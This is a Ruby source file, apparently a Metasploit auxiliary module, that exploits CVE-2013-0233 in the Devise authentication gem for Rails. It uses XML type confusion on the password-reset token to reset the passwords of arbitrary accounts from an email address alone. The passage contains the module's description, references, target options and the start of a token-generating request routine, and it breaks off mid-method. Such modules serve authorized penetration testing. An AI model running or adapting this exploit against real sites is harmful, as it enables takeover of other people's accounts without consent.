## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rexml/element' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Devise Authentication Password Reset', 'Description' => %q{ The Devise authentication gem for Ruby on Rails is vulnerable to a password reset exploit leveraging type confusion. By submitting XML to rails, we can influence the type used for the reset_password_token parameter. This allows for resetting passwords of arbitrary accounts, knowing only the associated email address. This module defaults to the most common devise URIs and response values, but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation of this vulnerability, by quoting numeric values when comparing them with non numeric values. }, 'Author' => [ 'joernchen', #original discovery and disclosure 'jjarmoc' #metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0233'], [ 'OSVDB', '89642' ], [ 'BID', '57577' ], [ 'URL', 'http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/'], [ 'URL', 'http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html'], [ 'URL', 'https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8' ], [ 'URL', 'https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8'] ], 'DisclosureDate' => 'Jan 28 2013' )) register_options( [ OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']), OptString.new('TARGETEMAIL', [true, 'The email address of target account']), OptString.new('PASSWORD', [true, 'The password to set']), OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]), OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10]) ], self.class) end def generate_token(account) # CSRF token from GET "/users/password/new" isn't actually validated it seems. postdata="user[email]=#{account}" res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI']), 'method' => 'POST', 'data' => postdata, }) unless res print_error("No response from server") return false end if res.code == 200 error_text = res.body[/